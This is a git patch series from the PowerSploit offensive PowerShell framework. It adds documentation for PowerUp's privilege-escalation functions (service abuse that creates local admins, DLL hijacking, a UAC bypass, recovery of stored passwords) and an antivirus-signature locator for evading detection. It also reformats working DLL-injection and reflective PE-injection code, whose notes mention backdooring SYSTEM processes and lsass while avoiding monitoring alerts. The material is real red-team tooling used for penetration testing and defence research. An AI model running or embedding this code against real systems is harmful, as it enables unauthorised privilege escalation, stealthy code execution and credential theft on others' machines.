diff --git a/docs/Privesc/index.md b/docs/Privesc/index.md new file mode 100644 index 0000000..836e674 --- /dev/null +++ b/docs/Privesc/index.md @@ -0,0 +1,55 @@ +## PowerUp + +PowerUp aims to be a clearinghouse of common Windows privilege escalation +vectors that rely on misconfigurations. + +Running Invoke-AllChecks will output any identifiable vulnerabilities along +with specifications for any abuse functions. The -HTMLReport flag will also +generate a COMPUTER.username.html version of the report. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + + +### Token/Privilege Enumeration/Abuse: + Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not + Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID + Enable-Privilege - enables a specific privilege for the current process + +### Service Enumeration/Abuse: + Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set + Get-UnquotedService - returns services with unquoted paths that also have a space in the name + Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config + Get-ModifiableService - returns services the current user can modify + Get-ServiceDetail - returns detailed information about a specified service + Set-ServiceBinaryPath - sets the binary path for a service to a specified value + Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command + Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command + Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command + Restore-ServiceBinary - restores a replaced service binary with the original executable + +### DLL Hijacking: + Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes + Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities + Write-HijackDll - writes out a hijackable DLL + +### Registry Checks: + Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegistryAutoLogon - checks for Autologon credentials in the registry + Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + +### Miscellaneous Checks: + Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files + Get-UnattendedInstallFile - finds remaining unattended installation files + Get-Webconfig - checks for any encrypted web.config strings + Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords + Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files + Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files + +### Other Helpers/Meta-Functions: + Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify + Write-UserAddMSI - write out a MSI installer that prompts for a user to be added + Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe + Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks) diff --git a/docs/index.md b/docs/index.md index 67ddcbc..8cd53ea 100644 --- a/docs/index.md +++ b/docs/index.md @@ -61,6 +61,7 @@ Cause general mayhem with PowerShell. Tools to help with escalating privileges on a target, including PowerUp. PowerUp - Clearing house of common privilege escalation checks, along with some weaponization vectors. + Get-System - GetSystem functionality inspired by Meterpreter's getsystem ### Recon Tools to aid in the reconnaissance phase of a penetration test, including PowerView. diff --git a/mkdocs.yml b/mkdocs.yml index accd72b..8b78d98 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -85,3 +85,37 @@ pages: - Get-HttpStatus: 'Recon/Get-HttpStatus.md' - Invoke-Portscan: 'Recon/Invoke-Portscan.md' - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' +- Privesc: + - About: 'Privesc/index.md' + - Functions: + - Get-ModifiablePath: 'Privesc/Get-ModifiablePath.md' + - Get-ProcessTokenGroup: 'Privesc/Get-ProcessTokenGroup.md' + - Get-ProcessTokenPrivilege: 'Privesc/Get-ProcessTokenPrivilege.md' + - Enable-Privilege: 'Privesc/Enable-Privilege.md' + - Add-ServiceDacl: 'Privesc/Add-ServiceDacl.md' + - Set-ServiceBinaryPath: 'Privesc/Set-ServiceBinaryPath.md' + - Test-ServiceDaclPermission: 'Privesc/Test-ServiceDaclPermission.md' + - Get-UnquotedService: 'Privesc/Get-UnquotedService.md' + - Get-ModifiableServiceFile: 'Privesc/Get-ModifiableServiceFile.md' + - Get-ModifiableService: 'Privesc/Get-ModifiableService.md' + - Get-ServiceDetail: 'Privesc/Get-ServiceDetail.md' + - Invoke-ServiceAbuse: 'Privesc/Invoke-ServiceAbuse.md' + - Write-ServiceBinary: 'Privesc/Write-ServiceBinary.md' + - Install-ServiceBinary: 'Privesc/Install-ServiceBinary.md' + - Restore-ServiceBinary: 'Privesc/Restore-ServiceBinary.md' + - Find-ProcessDLLHijack: 'Privesc/Find-ProcessDLLHijack.md' + - Find-PathDLLHijack: 'Privesc/Find-PathDLLHijack.md' + - Write-HijackDll: 'Privesc/Write-HijackDll.md' + - Get-RegistryAlwaysInstallElevated: 'Privesc/Get-RegistryAlwaysInstallElevated.md' + - Get-RegistryAutoLogon: 'Privesc/Get-RegistryAutoLogon.md' + - Get-ModifiableRegistryAutoRun: 'Privesc/Get-ModifiableRegistryAutoRun.md' + - Get-ModifiableScheduledTaskFile: 'Privesc/Get-ModifiableScheduledTaskFile.md' + - Get-UnattendedInstallFile: 'Privesc/Get-UnattendedInstallFile.md' + - Get-WebConfig: 'Privesc/Get-WebConfig.md' + - Get-ApplicationHost: 'Privesc/Get-ApplicationHost.md' + - Get-SiteListPassword: 'Privesc/Get-SiteListPassword.md' + - Get-CachedGPPPassword: 'Privesc/Get-CachedGPPPassword.md' + - Write-UserAddMSI: 'Privesc/Write-UserAddMSI.md' + - Invoke-WScriptUACBypass: 'Privesc/Invoke-WScriptUACBypass.md' + - Invoke-PrivescAudit: 'Privesc/Invoke-PrivescAudit.md' + - Get-System: 'Privesc/Get-System.md' -- cgit v1.2.3 From 7cdaa3c2d6afbaaaf10804435e873e14698f40b9 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 16:17:00 -0500 Subject: For ./Antivirus/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- AntivirusBypass/Find-AVSignature.ps1 | 172 +++++++++++++++---------------- docs/AntivirusBypass/Find-AVSignature.md | 158 ++++++++++++++++++++++++++++ mkdocs.yml | 3 + 3 files changed, 247 insertions(+), 86 deletions(-) create mode 100755 docs/AntivirusBypass/Find-AVSignature.md (limited to 'docs') diff --git a/AntivirusBypass/Find-AVSignature.ps1 b/AntivirusBypass/Find-AVSignature.ps1 index d2487b3..05cd969 100644 --- a/AntivirusBypass/Find-AVSignature.ps1 +++ b/AntivirusBypass/Find-AVSignature.ps1 @@ -5,11 +5,11 @@ function Find-AVSignature Locate tiny AV signatures. -PowerSploit Function: Find-AVSignature -Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Find-AVSignature +Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -37,19 +37,19 @@ Optionally specifies the directory to write the binaries to. .PARAMETER BufferLen -Specifies the length of the file read buffer . Defaults to 64KB. +Specifies the length of the file read buffer . Defaults to 64KB. .PARAMETER Force -Forces the script to continue without confirmation. +Forces the script to continue without confirmation. .EXAMPLE -PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe -PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose -PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose -PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose -PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose +Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe +Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose +Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose +Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose +Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose .NOTES @@ -63,10 +63,12 @@ http://www.exploit-monday.com/ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 #> - [CmdletBinding()] Param( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( [Parameter(Mandatory = $True)] [ValidateRange(0,4294967295)] - [UInt32] + [UInt32] $StartByte, [Parameter(Mandatory = $True)] @@ -75,23 +77,21 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 [Parameter(Mandatory = $True)] [ValidateRange(0,4294967295)] - [UInt32] + [UInt32] $Interval, [String] - [ValidateScript({Test-Path $_ })] + [ValidateScript({Test-Path $_ })] $Path = ($pwd.path), [String] $OutPath = ($pwd), - - - [ValidateRange(1,2097152)] - [UInt32] - $BufferLen = 65536, - + + [ValidateRange(1,2097152)] + [UInt32] + $BufferLen = 65536, + [Switch] $Force - ) #test variables @@ -99,88 +99,88 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 $Response = $True if (!(Test-Path $OutPath)) { if ($Force -or ($Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory} - } + } if (!$Response) {Throw "Output path not found"} if (!(Get-ChildItem $Path).Exists) {Throw "File not found"} [Int32] $FileSize = (Get-ChildItem $Path).Length if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"} [Int32] $MaximumByte = (($FileSize) - 1) if ($EndByte -ceq "max") {$EndByte = $MaximumByte} - - #Recast $Endbyte into an Integer so that it can be compared properly. - [Int32]$EndByte = $EndByte - - #If $Endbyte is greater than the file Length, use $MaximumByte. + + #Recast $Endbyte into an Integer so that it can be compared properly. + [Int32]$EndByte = $EndByte + + #If $Endbyte is greater than the file Length, use $MaximumByte. if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte} - - #If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte. - if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval} - Write-Verbose "StartByte: $StartByte" - Write-Verbose "EndByte: $EndByte" - + #If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte. + if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval} + + Write-Verbose "StartByte: $StartByte" + Write-Verbose "EndByte: $EndByte" + #find the filename for the output name [String] $FileName = (Split-Path $Path -leaf).Split('.')[0] #Calculate the number of binaries [Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval) if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)} - + #Prompt user to verify parameters to avoid writing binaries to the wrong directory $Response = $True if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!", "Do you want to continue?"))){} if (!$Response) {Return} - - Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"." + + Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"." [Int32] $Number = [Math]::Floor($Endbyte/$Interval) - - #Create a Read Buffer and Stream. - #Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc. - [Byte[]] $ReadBuffer=New-Object byte[] $BufferLen - [System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen) - - #write out the calculated number of binaries - [Int32] $i = 0 - for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++) - { - # If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval - if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte} - else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))} - - Write-Verbose "Byte 0 -> $($SplitByte)" - - #Reset ReadStream to beginning of file - $ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null - - #Build a new FileStream for Writing - [String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin" - [System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen) - - [Int32] $BytesLeft = $SplitByte - Write-Verbose "$($WriteStream.name)" - - #Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer - while ($BytesLeft -gt $BufferLen){ - [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen) - $WriteStream.Write($ReadBuffer, 0, $count) - $BytesLeft = $BytesLeft - $count - } - - #Write the remaining bytes to the file - do { - [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft) - $WriteStream.Write($ReadBuffer, 0, $count) - $BytesLeft = $BytesLeft - $count - } - until ($BytesLeft -eq 0) - $WriteStream.Close() - $WriteStream.Dispose() + + #Create a Read Buffer and Stream. + #Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc. + [Byte[]] $ReadBuffer=New-Object byte[] $BufferLen + [System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen) + + #write out the calculated number of binaries + [Int32] $i = 0 + for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++) + { + # If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval + if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte} + else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))} + + Write-Verbose "Byte 0 -> $($SplitByte)" + + #Reset ReadStream to beginning of file + $ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null + + #Build a new FileStream for Writing + [String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin" + [System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen) + + [Int32] $BytesLeft = $SplitByte + Write-Verbose "$($WriteStream.name)" + + #Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer + while ($BytesLeft -gt $BufferLen){ + [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen) + $WriteStream.Write($ReadBuffer, 0, $count) + $BytesLeft = $BytesLeft - $count + } + + #Write the remaining bytes to the file + do { + [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft) + $WriteStream.Write($ReadBuffer, 0, $count) + $BytesLeft = $BytesLeft - $count } - Write-Verbose "Files written to disk. Flushing memory." - $ReadStream.Dispose() - - #During testing using large binaries, memory usage was excessive so lets fix that - [System.GC]::Collect() - Write-Verbose "Completed!" + until ($BytesLeft -eq 0) + $WriteStream.Close() + $WriteStream.Dispose() + } + Write-Verbose "Files written to disk. Flushing memory." + $ReadStream.Dispose() + + #During testing using large binaries, memory usage was excessive so lets fix that + [System.GC]::Collect() + Write-Verbose "Completed!" } diff --git a/docs/AntivirusBypass/Find-AVSignature.md b/docs/AntivirusBypass/Find-AVSignature.md new file mode 100755 index 0000000..1606154 --- /dev/null +++ b/docs/AntivirusBypass/Find-AVSignature.md @@ -0,0 +1,158 @@ +# Find-AVSignature + +## SYNOPSIS +Locate tiny AV signatures. + +PowerSploit Function: Find-AVSignature +Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Find-AVSignature [-StartByte] [-EndByte] [-Interval] [[-Path] ] + [[-OutPath] ] [[-BufferLen] ] [-Force] +``` + +## DESCRIPTION +Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe +``` + +Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose +Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose +Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose +Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose + +## PARAMETERS + +### -StartByte +Specifies the first byte to begin splitting on. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EndByte +Specifies the last byte to split on. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Interval +Specifies the interval size to split with. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 3 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Specifies the path to the binary you want tested. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: ($pwd.path) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OutPath +Optionally specifies the directory to write the binaries to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: ($pwd) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -BufferLen +Specifies the length of the file read buffer . +Defaults to 64KB. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 65536 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Forces the script to continue without confirmation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Several of the versions of "DSplit.exe" available on the internet contain malware. + +## RELATED LINKS + +[http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html +https://github.com/mattifestation/PowerSploit +http://www.exploit-monday.com/ +http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2](http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html +https://github.com/mattifestation/PowerSploit +http://www.exploit-monday.com/ +http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2) + diff --git a/mkdocs.yml b/mkdocs.yml index 8b78d98..f18c644 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -119,3 +119,6 @@ pages: - Invoke-WScriptUACBypass: 'Privesc/Invoke-WScriptUACBypass.md' - Invoke-PrivescAudit: 'Privesc/Invoke-PrivescAudit.md' - Get-System: 'Privesc/Get-System.md' +- AntiVirus: + - Functions: + - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' -- cgit v1.2.3 From 1980f403ee78234eae4d93b50890d02f827a099f Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 17:50:37 -0500 Subject: For ./CodeExecution/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- CodeExecution/Invoke-DllInjection.ps1 | 60 +- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 5333 ++++++++++---------- CodeExecution/Invoke-Shellcode.ps1 | 131 +- CodeExecution/Invoke-WmiCommand.ps1 | 11 +- docs/CodeExecution/Invoke-DllInjection.md | 79 + docs/CodeExecution/Invoke-ReflectivePEInjection.md | 300 ++ docs/CodeExecution/Invoke-Shellcode.md | 116 + docs/CodeExecution/Invoke-WmiCommand.md | 311 ++ mkdocs.yml | 6 + 9 files changed, 3578 insertions(+), 2769 deletions(-) create mode 100755 docs/CodeExecution/Invoke-DllInjection.md create mode 100755 docs/CodeExecution/Invoke-ReflectivePEInjection.md create mode 100755 docs/CodeExecution/Invoke-Shellcode.md create mode 100755 docs/CodeExecution/Invoke-WmiCommand.md (limited to 'docs') diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 369d606..d23e989 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -5,15 +5,19 @@ function Invoke-DllInjection Injects a Dll into the process ID of your choosing. -PowerSploit Function: Invoke-DllInjection -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-DllInjection +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION Invoke-DllInjection injects a Dll into an arbitrary process. +It does this by using VirtualAllocEx to allocate memory the size of the +DLL in the remote process, writing the names of the DLL to load into the +remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread +to invoke LoadLibraryA in the context of the remote process. .PARAMETER ProcessID @@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information. http://www.exploit-monday.com #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] Param ( [Parameter( Position = 0, Mandatory = $True )] [Int] @@ -59,7 +65,7 @@ http://www.exploit-monday.com { Throw "Process does not exist!" } - + # Confirm that the path to the dll exists try { @@ -79,11 +85,11 @@ http://www.exploit-monday.com Param ( [OutputType([Type])] - + [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), - + [Parameter( Position = 1 )] [Type] $ReturnType = [Void] @@ -98,7 +104,7 @@ http://www.exploit-monday.com $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - + Write-Output $TypeBuilder.CreateType() } @@ -107,11 +113,11 @@ http://www.exploit-monday.com Param ( [OutputType([IntPtr])] - + [Parameter( Position = 0, Mandatory = $True )] [String] $Module, - + [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure @@ -128,7 +134,7 @@ http://www.exploit-monday.com $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } @@ -142,43 +148,43 @@ http://www.exploit-monday.com [String] $Path ) - + # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - + [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null - + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } - + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - + [Byte[]] $lfanew = New-Object Byte[](4) - + # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - + # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() - + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } - + if ($Architecture -eq '014C') { Write-Output 'X86' @@ -193,7 +199,7 @@ http://www.exploit-monday.com } } - + # Get addresses of and declare delegates for essential Win32 functions. $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) @@ -307,7 +313,7 @@ http://www.exploit-monday.com { Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))" } - + $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000) # Close process handle @@ -317,7 +323,7 @@ http://www.exploit-monday.com # Extract just the filename from the provided path to the dll. $FileName = (Split-Path $Dll -Leaf).ToLower() - $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) } + $DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) } if (!$DllInfo) { diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 42900fb..c756dd9 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -3,8 +3,8 @@ function Invoke-ReflectivePEInjection <# .SYNOPSIS -This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, -or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, +This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them. 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. @@ -17,15 +17,15 @@ this will load and execute the DLL/EXE in to memory without writing any files to As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output -from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the -remote process. +from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. -PowerSploit Function: Invoke-ReflectivePEInjection -Author: Joe Bialek, Twitter: @JosephBialek -Code review and modifications: Matt Graeber, Twitter: @mattifestation -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -42,13 +42,13 @@ Optional, an array of computernames to run the script on. .PARAMETER FuncReturnType Optional, the return type of the function being called in the DLL. Default: Void - Options: String, WString, Void. See notes for more information. - IMPORTANT: For DLLs being loaded remotely, only Void is supported. - + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + .PARAMETER ExeArgs Optional, arguments to pass to the executable being reflectively loaded. - + .PARAMETER ProcName Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. @@ -66,7 +66,7 @@ Optional, will force the use of ASLR on the PE being loaded even if the PE indic .PARAMETER DoNotZeroMZ Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. - + .EXAMPLE Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). @@ -76,7 +76,7 @@ Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -Computer .EXAMPLE Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print - the wchar_t* returned by WStringFunc() from all the computers. + the wchar_t* returned by WStringFunc() from all the computers. $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) @@ -102,19 +102,19 @@ Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Tar GENERAL NOTES: The script has 3 basic sets of functionality: 1.) Reflectively load a DLL in to the PowerShell process - -Can return DLL output to user when run remotely or locally. - -Cleans up memory in the PS process once the DLL finishes executing. - -Great for running pentest tools on remote computers without triggering process monitoring alerts. - -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. 2.) Reflectively load an EXE in to the PowerShell process. - -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. - -Cleans up memory in the PS process once the DLL 